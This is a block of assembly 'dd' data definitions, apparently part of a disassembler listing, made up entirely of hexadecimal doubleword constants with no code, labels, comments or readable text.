		dd 180199E0h, 1BEDF7B9h, 66C7D502h, 0C3FD71F5h,	8565BFB6h
		dd 0C9EB9C00h, 2EE7625Ah, 1FF79341h, 68D40078h,	7D069E9h
		dd 25342900h, 9114B636h, 0F64B3848h, 6AF2037Ch,	0EDA5ADBEh
		dd 59DF74E8h, 0DBFADC00h, 9BC9D3D8h, 54F3005Bh,	46BB345h
		dd 31980F66h, 5D743900h, 69D8FB2Ah, 0F7EC04DDh,	80C43E09h
		dd 57122011h, 0A1D7011Eh, 291ABEC3h, 4166B8BDh,	94821823h
		dd 2D02887h, 0DD9C7700h, 781137BAh, 671400C5h, 8075936Bh
		dd 637D8EB7h, 0FE0CCFE6h, 4ED3F240h, 0AD3612E6h, 88044002h
		dd 32865F9Fh, 47021298h, 15976039h, 570AE1CDh, 3339760h
		dd 4C1E5F9Ah, 0B190A346h, 52006B8Ah, 16BB8364h,	3E3DDF2h
		dd 23622F44h, 3B97F3Dh,	0D7680AAh, 0D3A0AC5Ch, 0CC9703E6h
		dd 29F68F33h, 0BE4C80D0h, 0AA9E1000h, 35553D2Eh, 0C9620E17h
		dd 0C7FC02A0h, 805451C1h, 22FAD54Bh, 0E6713700h, 0C0E96493h
		dd 0E4CC0FF0h, 0ED00C36Bh, 6E276D47h, 19498D00h, 0DA4108FCh
		dd 0D2394CB1h, 5E8C40h,	5C8C76C7h, 9C95F80Dh, 4916EA00h
		dd 0A59E4503h, 17943F1Eh, 0E5D700F1h, 0B7871C29h, 0E3E6909Bh
		dd 59033370h, 0D4515DD9h, 83D10072h, 0E970803Dh, 0A91D78F8h
		dd 2F9F46C0h, 0D582AF47h, 0F998B450h, 6D07770h,	0AD8D18Fh
		dd 271D569Fh, 9901465Dh, 93C52D42h, 88DD4h, 0BBE4E9BFh
		dd 0C0C27CAEh, 8105F976h, 0ABCF2096h, 6CDE9000h, 0F6538D8Ah
		dd 6E600090h, 0C5D86630h, 1E485E1Ch, 77DE80E0h,	95F2DDh
		dd 0E38AEBE8h, 5CA492Fh, 0E7E0D900h, 689E09AEh,	5CF80746h
		dd 0C177DCh, 83BF95D1h,	61842B00h, 0B1C6B466h, 45B800D5h
		dd 0A2EBE081h, 9717BF41h, 550C1FC5h, 5C2065h, 0F1AFAA32h
		dd 0F4447FD1h, 80BAF738h
		dd 0A795A615h, 1FD556B3h, 68DFD2h, 99771C7Eh, 3F0078ACh
		dd 0FD181F4Fh, 798CB2Ah, 56710EB0h, 0E481012Eh,	0DD1CE8E8h
		dd 64AE0201h, 0BE438465h, 0CA2009E5h, 9E1B0095h, 0C8CACE8Bh
		dd 0D348443Fh, 79E638ECh, 3B29D600h, 0C120CDBDh, 7FE400D2h
		dd 0F20279DDh, 0A28A3D1h, 0B8008309h, 6127BA06h, 306D8CABh
		dd 6851D655h, 980E80E6h, 0A65A19D8h, 30619CCFh,	9708E428h
		dd 0AA0EDDD7h, 80CC5999h, 6B8D5A0Ch, 2183FD13h,	60CE7231h
		dd 0A54D3828h, 98000B79h, 0A54CA244h, 0C1C84031h, 0E46D4921h
		dd 0FD2870D1h, 500B2F6h, 0E85D1081h, 749B97h, 0D60E98CDh
		dd 92BF4379h, 8F567500h, 1661B2Ch, 42EC00BEh, 5997E527h
		dd 0E4F6AAB4h, 61CAE030h, 300DFF87h, 0F08073E7h, 6B03478Fh
		dd 5A16A81Ch, 88C5B293h, 4D404C6Ch, 600B4448h, 720D3850h
		dd 0A750316Eh, 8E536B10h, 2CD2088h, 0CF07E079h,	8377E9EFh
		dd 0D0FFC14Eh, 7949296Fh, 3CAF0EAAh, 0D7600AE1h, 0E7A7E3A2h
		dd 82EA400h, 0AFFD231Ah, 0E44F005Ch, 0F0D70A30h, 1E00CC64h
		dd 0FE6E147Fh, 0F44EC98Ch, 0DBC10041h, 751A7960h, 8E7C3032h
		dd 70335E00h, 0DED5E9B3h, 2EED005Ch, 2CC6108Ah,	9800EC7Eh
		dd 0EE439924h, 1138CFAh, 0A74C0E47h, 0CC74A52Bh, 180FFC51h
		dd 62ECF891h, 43FAA96Ch, 0B228F891h, 0D4530A80h, 0A57767h
		dd 30E38529h, 0A2A0F9B6h, 5E02EDA8h, 2407AF2Dh,	34DAE158h
		dd 3A71C24h, 439D5D08h,	9A807A09h, 0C73997F6h, 8E0A8FD3h
		dd 0FBD62252h, 9F994048h, 63734Ch, 43577AB9h, 0AD37E3E4h
		dd 70C7DA04h, 7890E0ABh, 0CA2173h, 6DA2CDB2h, 0E6A3193Fh
		dd 83E73A0Eh, 0B948E0FBh, 7CF3BF3h, 0FF70B0A2h,	20548F55h
		dd 0E7F2E8E3h, 247F9318h, 4124E9F2h, 20A373C6h,	44765004h
		dd 8DF6A7Ch, 0B480482Eh, 9AAA407h, 0B6A03F8Bh, 13989D8Eh
		dd 8F0A69E0h, 4A0071E0h, 73FE25C1h, 304F1843h, 29866A8Ah
		dd 8538CE3Ah, 847C18BFh, 767F9C50h, 40C950E6h, 1A3046Fh
		dd 32453073h, 0C18821FDh, 7C6CCA3h, 801F2D3Dh, 327B6D63h
		dd 2A9C3021h, 7EA83191h, 98114856h, 65EB01Eh, 118079F5h
		dd 0C46CBC03h, 87BAC8FAh, 188853A3h, 20E6B708h,	0BF07DB16h
		dd 0D2756358h, 8FD9C740h, 215D3FD5h, 193F1412h,	0C74C8FCh
		dd 2A4ACF5h, 73F2A35Ah,	0C11946E8h, 0A3508F10h,	4AB91300h
		dd 0A7F862EFh, 0D3C049Bh, 907C7965h, 0BB755AC0h, 0D5096704h
		dd 0C492BD04h, 0FE4378h, 0DE761A8h, 0C31D1B54h,	12252700h
		dd 0B93E3BD7h, 8C8704B4h, 812FF021h, 85B06A66h,	9CE39341h
		dd 8C7AFC2Fh, 6BF08A0Fh, 0FB55271Bh, 0EA67C3h, 6D835141h
		dd 0EC824997h, 0D7D5E700h, 0F84FE272h, 0CE3C002Eh, 0E4306BC2h
		dd 0BD74BF74h, 0CC6839C0h, 4DD3DE01h, 420238A5h, 698C33EFh
		dd 97EBA882h, 0D818707h, 0A02054C8h, 3512300Eh,	792992D1h
		dd 20B40100h, 3973D4E7h, 2FFF0E4Ch, 2E814011h, 0DEE45BFBh
		dd 0BFEA004Ch, 9AC88E1Fh, 3FCB91E1h, 0D100F17Ah, 0FD15C649h
		dd 1CC1D4Eh, 2426C8E8h,	62EEF7B1h, 0FE027618h, 8CD181AAh
		dd 25C4C0B5h, 0C0D9E8B6h, 0AAF56021h, 3BF2BD0Ah, 802A2038h
		dd 940D73B9h, 31474B9Dh, 0FC79B665h, 78D82813h,	0AD53BA00h
		dd 793FD882h, 4B780085h, 0E74C3A8Fh, 9CE48BF4h,	0FD833E00h
		dd 0FD5F18Eh, 0F56F0E65h, 0E7E0443Bh, 0CE18EE6Ah, 50E28430h
		dd 0E725B2EDh, 0AAFC5C50h, 8449B0B3h, 81AB605Ch, 0CCAAF362h
		dd 0EC419800h, 0E31172C0h, 417F6013h, 0EB3E1CF4h, 45009DE8h
		dd 55764C56h, 0FB6143Ch, 771EA0D2h, 8A788C00h, 6C24DBE1h
		dd 908040E3h, 5973080Bh, 0A1A90C7Ch, 0BA081D31h, 10F121C0h
		dd 4D492Bh, 0A58A9C5Fh,	0BCF82084h, 0E1D9B50Dh,	2C0B29BFh
		dd 7FDCA683h, 0B2A094D0h, 3A922800h, 0C7651EDAh, 55810057h
		dd 0AF83FCCh, 41006643h, 6A1FA7ADh, 1390B4h, 356B0D9Ch
		dd 0E687A4F5h, 0EB1FFC7Eh, 0C4107177h, 0F04A5500h, 86A12CEFh
		dd 378AA604h, 7F0050D4h, 0F69EE6AEh, 511CAD74h,	45C60C18h
		dd 38200A91h, 0C7986409h, 0A35F8953h, 0EB9E4B01h, 0F33029E9h
		dd 640830F3h, 4AFB3221h, 3ECF5000h, 0E5196657h,	80300186h
		dd 0F346D57Ch, 17798058h, 0AAD6AE3Bh, 60C37AA4h, 540E1966h
		dd 0BD30789Ah, 671C1056h, 0B21F00FAh, 0E653F33Ah, 83B0F6C9h
		dd 8F8231C0h, 0ADB00Bh,	0F44EFA14h, 65D0CE09h, 0D4E920C3h
		dd 8C81DAECh, 6F310884h, 401F91EDh, 0E891A41Eh,	8919E1EBh
		dd 0DA081551h, 27859C50h, 0FF5809A4h, 0D500E539h, 49C4D269h
		dd 8293F80Dh, 0EDE828C7h, 2CB10016h, 0FD4A958Bh, 63000C3Dh
		dd 7C5A38D5h, 6037B056h, 0ADF59086h, 0D4560408h, 56F20A7Ch
		dd 7743A4BFh, 5919000Fh, 63852DFh, 31005679h, 0D5963591h
		dd 73999240h, 288C6118h, 0E8EB367Ch, 0E0039A5Fh, 486A40EFh
		dd 0AF51035Ah, 0D1DB5327h, 6E9DDAC8h, 0EEFCF100h, 0BBFBC0E7h
		dd 58C303D6h, 708A576Bh, 3F29B6B8h, 5188A100h, 9650D7B9h
		dd 6D84004Ch, 3205EA92h, 8300D223h, 6CAC2D36h, 0EC44E35h
		dd 6368EB42h, 59439000h, 90E936Fh, 80D0A73Ah, 33F4321Eh
		dd 22DC0065h, 0CE2B5D75h, 0B800C8F5h, 0CB8E81BFh, 7E6876AAh
		dd 12FE0038h, 0F40A0327h, 35000EC9h, 50342932h,	73F330Ch
		dd 41AAFFD6h, 0B6840380h, 0AE2A71F8h, 74E21938h, 6F18BC00h
		dd 0EE376BF1h, 29530069h, 0F9D50372h, 8300DA9Fh, 74B9FBA7h
		dd 28930540h, 20651Bh, 0F231C53h, 30ADF5Dh, 8B633105h
		dd 758097E0h, 0CE55F8Dh, 0FEB8DEB1h, 8C00E750h,	0D04D4638h
		dd 0BA2E37h, 8AC41A7Ch,	0E7D72264h, 0D886FD00h,	45582D28h
		dd 5A130005h, 0D5515DDDh, 92049F8Bh, 0EDCDFD1Bh, 0FA302383h
		dd 8FCEE01Ah, 7312005Bh, 0C8DBA30Eh, 2EC96D9h, 0D1776403h
		dd 8181F67Ch, 40837518h, 0EA7187F3h, 0C2D482E0h, 22247000h
		dd 18505CADh, 0BAAB004Ch, 0F5F9A584h, 0A700CE76h, 130C2DAEh
		dd 28EC36D9h, 0F80AC15h, 0B0E69CBAh, 4E4C43FEh,	0EFC8910Dh
		dd 76653D02h, 6D806230h, 3B49C168h, 0E00AC78Fh,	80A086F0h
		dd 1DD9DC5Ah, 0E80F95E5h, 2237139Bh, 8F3B7648h,	0B8017E0h
		dd 9AE41h, 962207A3h, 18C88FD1h, 85BE80C0h, 4D23B0h, 4140869Ah
		dd 8C28DA52h, 517416FEh, 7AC19B0Eh, 1394EAAh, 6864D526h
		dd 7C6CC181h, 200D0F49h, 0F77EC540h, 0B243272Ch, 180A7812h
		dd 7B12A036h, 440C6000h, 105C8B2h, 0ACCF1E8h, 0D05E40E0h
		dd 643BB411h, 28C0D41Eh, 0C3EC5400h, 717A6F57h,	3164B829h
		dd 0FD5207A1h, 2C47EC4Dh, 66DC6060h, 1814EFBFh,	4110F5F0h
		dd 0C2001EB4h, 0AE053D1h, 0D3CB08h, 346F3E18h, 36EF1FFBh
		dd 14C09E00h, 0C6646A44h, 39D9F431h, 0B180AA0Ch, 5B5686Ch
		dd 0CD1E9312h, 180B456h, 0F884E8BCh, 340D2047h,	0E000077Dh
		dd 0DC40957Eh, 12B19199h, 1FCC8h, 5FB04758h, 42002EA7h
		dd 26298923h, 289B4659h, 0C06C66h, 91E1477Ch, 4F15F087h
		dd 0A7A7F00h, 54442DC7h, 0D0764C01h, 0F8FA41DCh, 0CF6C2B3h
		dd 642588DEh, 0FD82FA00h, 0ECE897B5h, 72EA1156h, 2880081h
		dd 347E5D23h, 478E00E6h, 28DF2ED1h, 0E300C863h,	67F52CA5h
		dd 3695292h, 0AE480377h, 30002F78h, 3E62A812h, 0FA70DCh
		dd 524C6481h, 71E5E2FDh, 0AF7B4Ch, 0FED2ACADh, 0B2E934h
		dd 0CB4E1A60h, 668298BAh, 1CF04C4Eh, 8820A7DFh,	5DC0F1CDh
		dd 0EEAE090h
		dd 52478F44h, 196F0901h, 86ACF8FCh, 8246533h, 52D00108h
		dd 9B6F51A5h, 0E86CF034h, 0AEE5501Fh, 588EE001h, 2880E721h
		dd 0D2E3A1A2h, 0AE9806BFh, 3A532C00h, 799FC757h, 65CB1E29h
		dd 0EA4A8CD0h, 0FB150A30h, 0B904D53Eh, 4478194h, 0F09058F1h
		dd 10C3DA46h, 9D8F5021h, 72490401h, 509D78E9h, 7E9821E7h
		dd 80AAC638h, 20A4E391h, 4C2218C0h, 0FE6E559h, 5EEA8739h
		dd 0F28E4819h, 95182888h, 0AF284CFCh, 0C028D104h, 2F0E287Ch
		dd 898A6C1Ch, 0F4576710h, 0F2104550h, 0F3D260A3h, 600C1046h
		dd 6C59AF69h, 40F851E9h, 4116404h, 6052811Ch, 9A130C7h
		dd 14FD140Ch, 4879C614h, 77B08164h, 0F858508Ah,	54F500D4h
		dd 4B866EBh, 0DE11811Bh, 470C3092h, 9408DB83h, 2F4EE304h
		dd 0FC10F288h, 0EB040BADh, 4434E913h, 8986C920h, 30D1E4B0h
		dd 9D99CA00h, 57B2ED9h,	0D4DA2638h, 5E524078h, 140696FFh
		dd 2E0D6264h, 0FEFB3D51h, 593898B6h, 0AC4499F8h, 30053074h
		dd 0DDC1649h, 5F9BC800h, 18C96292h, 6EA312Fh, 0D8A46761h
		dd 8169E325h, 59700010h, 7864D7AAh, 97293011h, 0E00DDB69h
		dd 925D1D00h, 77330E6Dh, 201A0BFEh, 378765B0h, 40CD47C7h
		dd 35041041h, 6007F300h, 0C4534C68h, 0A4A9C191h, 87CE8E47h
		dd 0A7EA8D08h, 99E59CB0h, 48C1DBF4h, 7FE651A6h,	0D2C0CD1Eh
		dd 84B38Bh, 669EE596h, 531F0013h, 402BBA0Eh, 0F70063FFh
		dd 265CE70Ah, 18D65049h, 0D9DB95EEh, 550A2DE0h,	8CD710FDh
		dd 0D2BD8C39h, 83E8A9h,	2F268DFFh, 2BE45A6Dh, 116589C7h
		dd 538067F7h, 904CA16Ah, 8801199Ch, 11FC289Fh, 0E3E0143Bh
		dd 0D60A175h, 5068840h,	0B8924878h, 6400C43Dh, 7A25BE52h
		dd 0E3225351h, 63E1CED5h, 8FDF025Dh, 0E46B1859h, 308DB8D8h
		dd 8B3EF400h, 5D61CE8Ch, 100F500Dh, 306A0E60h, 460C5953h
		dd 0E5E81CA1h, 4288B0A1h, 0F84863ACh, 0D7006DABh, 0BD9C1AF8h
		dd 40AFE4Ah, 0DA0D5FE6h, 0A6A810DFh, 61980F10h,	0DA03FD33h
		dd 0D1CCC2D1h, 108D9914h, 29CDE406h, 61B89CD0h,	8D5BBD8h
		dd 0FF3388D6h, 6D302A00h, 3155A7FDh, 95E600EAh,	879F0B39h
		dd 0C3EE5B10h, 2B588909h, 1E20057Ah, 45DB9840h,	5023199Eh
		dd 0D6A42Ah, 0FA0E9C6Bh, 32F39FA4h, 0BE18AB0Fh,	0B80617E6h
		dd 0C8F4A2h, 0D88855A9h, 0F5C5785Fh, 345EC005h,	0A004974Dh
		dd 90D002C4h, 41062339h, 603DE0A3h, 0DBA40D14h,	60229FB8h
		dd 0E40E31F9h, 8FA448Fh, 40D08549h, 0D61D5CD8h,	881498D2h
		dd 0C8F4B18Ch, 0EDE5C100h, 9931AA40h, 0B5E90C0Ch, 0B6A6081h
		dd 0F01218F8h, 0A9C53029h, 82C29A8h, 3CDD802Ah,	19C98B2h
		dd 43E6CD0Dh, 0F1109960h, 5F005161h, 0DBF1D8E2h, 5BE49EFDh
		dd 24D2FE04h, 0DACCC67h, 608C0D2Ch, 0C56A7A10h,	76502C90h
		dd 0D9488848h, 14502824h, 595BC80Ah, 0CD409C9Dh, 5205F767h
		dd 870F58E7h, 90991CE6h, 0E51845h, 4B8A95F9h, 0FF4622D6h
		dd 1FD41A06h, 30805EC8h, 2208FF1h, 0A03415Bh, 53C727Fh
		dd 8320E747h, 19ACB257h, 7895A09Ch, 8D671006h, 0FB5329C7h
		dd 0C3940480h, 0A9E08279h, 1307CC19h, 38518D7Ch, 0DDF1FF34h
		dd 18643462h, 0FB1A301Bh, 77C8B09Eh, 0CD6D0073h, 3BD2C3DBh
		dd 0E9500367h, 2844088Ch, 143E48CAh, 8C8A29h, 6D4C672Eh
		dd 426098EAh, 0DFC57981h, 0E9922E65h, 201BE98h,	44866422h
		dd 6644308Fh, 9C462300h, 110C8E71h, 8AE4244Fh, 0C01667C8h
		dd 5C601FF1h, 0F0EBF77Eh, 6BE0C4D2h, 0EF287CB8h, 46548C64h
		dd 2C00BB98h, 0B9AC40AAh, 9930AC8h, 751555DEh, 0E378F880h
		dd 8760581Eh, 0A3C872C9h, 0A709016Eh, 9FD18D42h, 804BD143h
		dd 0C2139221h, 0C655B51h, 41D7E6Bh, 0B8123478h,	908CB78Eh
		dd 1A6F0836h, 0EDC422FCh, 6F1FA040h, 510297D7h,	7C7343CBh
		dd 0D11C20F8h, 6600A12Bh, 9AACF1A0h, 9B36E9h, 0F7F0D895h
		dd 6FC0BE96h, 0A206D407h, 5E84AD70h, 5A007DACh,	0C36A11F5h
		dd 4AE812DBh, 99207160h, 0D9D5C7h, 0DFF47534h, 0C4365BBFh
		dd 60EF8390h, 0D5019984h, 64713AE9h, 398044D8h,	0A4737F46h
		dd 0F80F9858h, 201C876Fh, 95E5D2D7h, 9C960068h,	913EBEB2h
		dd 2100ABC5h, 0A2C98206h, 0E9CAB1FDh, 2080B7F1h, 77ABD3DBh
		dd 0BB00DE7Eh, 0C30D2E7h, 11978Fh, 5AC1D641h, 0F70B47D8h
		dd 5D90BD61h, 8992353Dh, 48141BB1h, 0C4F196C3h,	16309E8Ah
		dd 0A2393C03h, 0C3100F8Eh, 0B6A01B2Fh, 7642CBC1h, 0DA1CDC00h
		dd 0DB16F8A8h, 0AD1203E9h, 248D91D6h, 0BEC113D8h, 3387001h
		dd 0DA2F1D34h, 638964F0h, 0BFC408E9h, 0F9862000h, 9AEF1644h
		dd 0C77101A5h, 460422FFh, 0AC09D833h, 70B0A90Bh, 808B8E76h
		dd 1E5EC118h, 6A0200F1h, 87AD33F3h, 0AB30B5A3h,	46B42196h
		dd 0CA0D00F2h, 0BC118AD1h, 2A2607BFh, 0AB030EEFh, 0D76FB6DEh
		dd 0F218CAD6h, 0A9C71870h, 0D9D441BEh, 0F747C018h, 0E8CCA11h
		dd 37BB79E1h, 5EF96A0h,	0ECFB113Eh, 0A218126Fh,	0D7D1B2A7h
		dd 0EB7128h, 0BDFB7EA6h, 0D5F38265h, 0E5F5AD03h, 0AC2745h
		dd 212CA169h, 38755EDh,	0AA0E0D0Eh, 21B98C04h, 21FF02E8h
		dd 0F679D6AFh, 1E32460h, 0D1807100h, 0F29B1D96h, 747FBFh
		dd 3C69C0A3h, 5D0199E8h, 3221D70Eh, 77A98660h, 27E0020h
		dd 91F1123Ch, 0BC07DCF7h, 736DEBE2h, 137AB2A0h,	0AD6A00C4h
		dd 0E3045C0Bh, 4C006514h, 2BD22D10h, 7D1E9BA4h,	95473D2Fh
		dd 40D0F533h, 2EAAE1C3h, 0A2E4B9E0h, 0C3ECED00h, 0DE63E11h
		dd 94DE0083h, 0C9704DD5h, 18001E3Ch, 0E408A25h,	2C2215h
		dd 607BB9B3h, 76656D3h,	6428C4E4h, 6D00FB21h, 36A54EB8h
		dd 3B31D810h, 0F0876CEDh, 60B7FE2Ch, 0BFCF5054h, 17D40B03h
		dd 0C81CF1A3h, 35A6A4Fh, 1674B4E9h, 28C8132Eh, 1011DA2h
		dd 0B68459FFh, 2AE81E63h, 211107F4h, 80A8E004h,	5C388F62h
		dd 39A06AFBh, 0F9030014h, 0AAE0913Bh, 0B303CF21h, 0C625B6Fh
		dd 0D8292188h, 0E33FDA04h, 4AB2D304h, 0F40828A5h, 0D2E4886Bh
		dd 1114F794h, 7008AD79h, 0A4041B9Dh, 0FB08DFAEh, 0D6A5A680h
		dd 73BE40Bh, 320DF035h,	30F25281h, 0DB1AE940h, 0D511D707h
		dd 1ED00BC2h, 8ECF88h, 0A36B721Fh, 4B4C8CB3h, 69F31200h
		dd 0C959F425h, 985B0029h, 38DE32CDh, 0A9035083h, 0B3C21A0Ch
		dd 49B2B89Eh, 25210024h, 2E155F3Ah, 0E1007AAEh,	0B94CE887h
		dd 72DD2928h, 0EEA10259h, 1ADF445Eh, 0D44DDC61h, 45072F43h
		dd 41CF1EA9h, 0B51B58F0h, 7598004Ch, 0B1DA4B46h, 12287AB8h
		dd 0A700C829h, 0F641D625h, 17C77Fh, 55A6D1E4h, 4D9ECD76h
		dd 80183E3Bh, 0F281CB5h, 788A178Eh, 6578C0EDh, 8480B7BBh
		dd 55934Ch, 660C12F8h, 0FEB66Ah, 95688D13h, 1101CD75h
		dd 21000090h, 0AE248727h, 973B90h, 8F92346Eh, 0FB04D7AFh
		dd 0AC00CD75h, 772DF2C1h, 1E7080EBh, 0C0AEBDC0h, 0ABE16818h
		dd 6C009962h, 282B4A82h, 727F057h, 7EA2EA31h, 4E50A707h
		dd 92733EA1h, 2EA840A7h, 8E00175Bh, 0C3BA7DEEh,	0B0D31F32h
		dd 12A2001Dh, 7466B713h, 52002EF2h, 0A35CA9C2h,	355F04Eh
		dd 4F94D07Bh, 0BDC8DDBBh, 6F0344F1h, 1B48E380h,	50BFE0B2h
		dd 31F8FEh, 0F42DE24Fh,	0BC5C5539h, 81434E3Fh, 0EEAF5147h
		dd 0F8D8F2A0h, 94323BA8h, 0E5C74200h, 6949404Fh, 0A7A66504h
		dd 0C7C090BFh, 0AC2DEC3h, 20672810h, 0BC6D00D4h, 0C11BA4F6h
		dd 1270DF01h, 143990D1h
		dd 4B9D4h, 2CBDE0C9h, 0CBBEEFE9h, 3B080F01h, 39133AE3h
		dd 70997CCh, 0EA2B6005h, 9B2260E8h, 0F60026CFh,	0F8A9F7DAh
		dd 0EBFEBEh, 84AFDBF4h,	0BCD37551h, 0CDFDC801h,	0B744DF10h
		dd 2E6008D5h, 0FCD007CBh, 108596DCh, 0A1497887h, 624E521Dh
		dd 76805A1Dh, 7E6E4BD5h, 2D2A00B8h, 0A3974F3Eh,	0F27BD77Ch
		dd 53FA4801h, 0EFF1CDF0h, 0FDA360h, 28681217h, 38961E75h
		dd 180ACC26h, 0F232BB3Ch, 8F452407h, 6C10E143h,	0F908E7h
		dd 0F2FA6957h, 0C0406DAEh, 0EF78A800h, 0BD075185h, 18906Ch
		dd 96CA583Ch, 63C175A7h, 4685C600h, 445BF3EAh, 0C5230ED3h
		dd 0D72092CAh, 22B073ACh, 0B1DB9801h, 0EFA4B3Ah, 7BA827E0h
		dd 0CFED00B8h, 8CF59377h, 710048D9h, 0B070A632h, 0A1A566h
		dd 3618AA72h, 0BD565E20h, 898DD00h, 4AED0E25h, 93F4F968h
		dd 7663076Fh, 20BC9BD3h, 6CB1D230h, 0D9513200h,	9CE6C1AFh
		dd 0DEECEFBBh, 0C6B30944h, 4005D73h, 31A4071h, 0A38D2F00h
		dd 84240661h, 0D190FDh,	4CEE6EDh, 4105C0A1h, 1CC10A0Eh
		dd 656720E7h, 7325D51Dh, 2C017703h, 47C95D7h, 80CE740Eh
		dd 8553B604h, 54B85607h, 0BF40BA13h, 885C5Ah, 4D627479h
		dd 40CAC49Ch, 1A73A071h, 5652BFECh, 340C00C0h, 16FE36F3h
		dd 0BDEA3CD5h, 39F9312h, 1DA6A4C0h, 542640B6h, 0D700E844h
		dd 0E204DE7Fh, 0BBF60028h, 946F5C3Ah, 4A00BA86h, 0E5B497A6h
		dd 15F570Bh, 569CF25Bh,	80FA51A1h, 0F5189110h, 1A590F1h
		dd 3895B32Bh, 60CBC3C2h, 48919C2Ch, 2E106700h, 324F3A6h
		dd 6A09868Dh, 0B5E0537Dh, 8A014221h, 0FE5DE5ABh, 0F230445Fh
		dd 89BD134Dh, 998034Bh,	0B9B07E0Dh, 1619B171h, 5860CACDh
		dd 3C40180Ch, 662601C6h, 0CB83D1EFh, 0B547C8F7h, 0EEA28F00h
		dd 98A8B6A6h, 0E2AF3BBDh, 9C801E0Ch, 8E0EDF29h,	0C0A913EBh
		dd 372DF030h, 7B2F01C9h, 8AB83C89h, 0ED43045h, 0DA3CA17Ah
		dd 0BC430058h, 8E44C5A6h, 6EB00006h, 0DFF50FB1h, 0A0E6A5B2h
		dd 875C153Fh, 5B56376Bh, 0F6E5AA10h, 5734005Fh,	6AAF2666h
		dd 5800B31Eh, 0BD31FF94h, 7CF601D8h, 0E408005Eh, 59511D20h
		dd 0BF5835DFh, 0A81C0F8Eh, 299C0CE2h, 9D60EBFEh, 7802001Eh
		dd 1CFDB253h, 4900AB23h, 5204D1DBh, 1D2EA76Bh, 7CBF84B3h
		dd 89875A00h, 719403ABh, 636D2D00h, 7AD06EA2h, 24950EA7h
		dd 0E7A1A9E3h, 8040BC65h, 22D76FF8h, 7838C4h, 5D42EACBh
		dd 0B1C34783h, 581F4A00h, 0DF5CE575h, 585FF64Ch, 688010C4h
		dd 0EF1E46C5h, 0AF0094EAh, 0C6239016h, 3F41512h, 0B8D052FAh
		dd 0FCE804B6h, 0B1002669h, 2D5D65D2h, 0B06DE801h, 409506B2h
		dd 18663BBFh, 0D3777B00h, 0EECBE7EAh, 1BF20111h, 0E5F9AD3Dh
		dd 4BF7F4A5h, 0AA3AFF00h, 409CB679h, 0CA8A002Dh, 5A3DC945h
		dd 560046B8h, 693C137Ch, 0DC66A9h, 575C7349h, 0A3F62774h
		dd 0BA6AE200h, 75769135h, 524500E9h, 0F007D78Eh, 0EA00D17Ah
		dd 47F7BA31h, 2DB835h, 0FEC4431Fh, 53BD0458h, 75C81900h
		dd 0A68B7FF3h, 2C1200F9h, 9FBB8AF7h, 9300B459h,	0ED4A3A4h
		dd 0E272E1B6h, 88FF1D16h, 3328C077h, 14E6A52h, 654FE700h
		dd 69854D24h, 0DA6001A7h, 91D9282Ah, 0B289FCF0h, 117B8B30h
		dd 2B02BBAh, 9C8D9DB7h,	30E8F538h, 0E802674Dh, 0B65A80E2h
		dd 1E04648Eh, 50575Dh, 819894DCh, 0D02A596Fh, 8D00C0ECh
		dd 2B6ED76Ch, 3254209Fh, 2C39A8ADh, 0E7960AE0h,	66A6F612h
		dd 5E7DD001h, 0C840EF21h, 24E11213h, 1D7D3A93h,	0F98309C0h
		dd 0A1DE0CA0h, 421EA33Eh, 8A4070C2h, 2A3A0B87h,	55F6D7h
		dd 0C9605792h, 98917A43h, 7513350Fh, 0ED3A8066h, 0D599FBh
		dd 6BAA8254h, 60BC5DEFh, 50E8A75Ch, 332E8BB9h, 0F89E83Bh
		dd 0B8750156h, 4BE4CEF2h, 0CD8C00C2h, 0D308BBE6h, 403FC361h
		dd 50B04F38h, 22E00D0h,	7CA159CDh, 73008597h, 3A5C8435h
		dd 2C4994h, 878E0D1Eh, 0BCD443D6h, 2248AB00h, 986C66BAh
		dd 9C40296h, 435806ACh,	209A81E1h, 0D4027C17h, 0B98E1B85h
		dd 9C0501Ch, 0DF224228h, 668FC840h, 739FE800h, 61B2FD8Eh
		dd 31620EDEh, 4A0023E3h, 0BA3BFB25h, 7DD0A8C1h,	99D83F7Bh
		dd 1AF7034Eh, 0C3DE9476h, 69FA2DD0h, 3D591600h,	38EAD455h
		dd 583C770Ah, 0C407B02Eh, 0EE4650h, 0D79F339Eh,	0D900E872h
		dd 25D6113Bh, 9287C3h, 0D81C31FAh, 0DDBA699Ch, 0A05E7700h
		dd 9A0BC1A8h, 0D798B6h,	9414FDFAh, 0A7E92388h, 0E08CC313h
		dd 8B412B00h, 0FA3F2F42h, 0EF5A0335h, 28BAD9F7h, 3400F8A6h
		dd 78906959h, 0E054E3h,	2571B2Fh, 509D63F9h, 3462F000h
		dd 0F5CAC7BDh, 995D00FBh, 76B4D370h, 12165AB2h,	0AC00264Ah
		dd 48FD5ECAh, 58980004h, 0E81BD7Bh, 900F6136h, 0A0B0A111h
		dd 0BBCA1E28h, 12F9FED6h, 93C8FAh, 5730BC84h, 620089EDh
		dd 0A947AB10h, 506DBF36h, 0E6B7D0D3h, 0E1320021h, 88A45913h
		dd 0DF00A655h, 973D1403h, 1E6ABC2Bh, 40DB5B80h,	0A8C4790Fh
		dd 11027C20h, 7792B661h, 19184037h, 0ADFC6Eh, 47F57508h
		dd 258DDD49h, 0A43FD60Bh, 4437004Fh, 3B60B6FEh,	75800884h
		dd 0AB7C915h, 235852DEh, 7F270F24h, 897E43BBh, 0E96F839Eh
		dd 0EB70D691h, 0F3BE0079h, 5B49A240h, 7000B78Dh, 13711730h
		dd 0EFA575Ah, 67C5DA33h, 0E3936620h, 833BF14Fh,	80073AE9h
		dd 4C3C2BD4h, 0F8E8F0Bh, 519DDE88h, 0CB078B6Fh,	0C757F466h
		dd 0CC5B6024h, 0B205448Ch, 0D6EDD351h, 7BFFA300h, 1F74EA42h
		dd 400F5DDBh, 260DF1AAh, 0ED02DF96h, 0D656B39Dh, 180040F6h
		dd 89A40049h, 0B6CEE9FAh, 0EB003E88h, 0AA4A2534h, 4A791908h
		dd 270800E5h, 0D645EEC9h, 1D636900h, 0DD24582Eh, 26DAFAAFh
		dd 54B9D3h, 8CB2E912h, 10C0B764h, 0FCA394A5h, 0ECB01D29h
		dd 3C67C028h, 0CA8BE6DEh, 0B7655300h, 0C5549E91h, 0F20F7C35h
		dd 0CC170189h, 972080C0h, 0F59C34B3h, 0AC2D57Ch, 0E1A0C3D6h
		dd 1530EFA4h, 0F0B5002Fh, 8C4BD94Ah, 0F400EC2Ch, 9D9F2656h
		dd 0AF69CBh, 0A5DCB270h, 349BD20Bh, 0D1007278h,	256D7A38h
		dd 12F66C36h, 273EE0h, 70590F8Ch, 4A26BD6Fh, 1880C0E8h
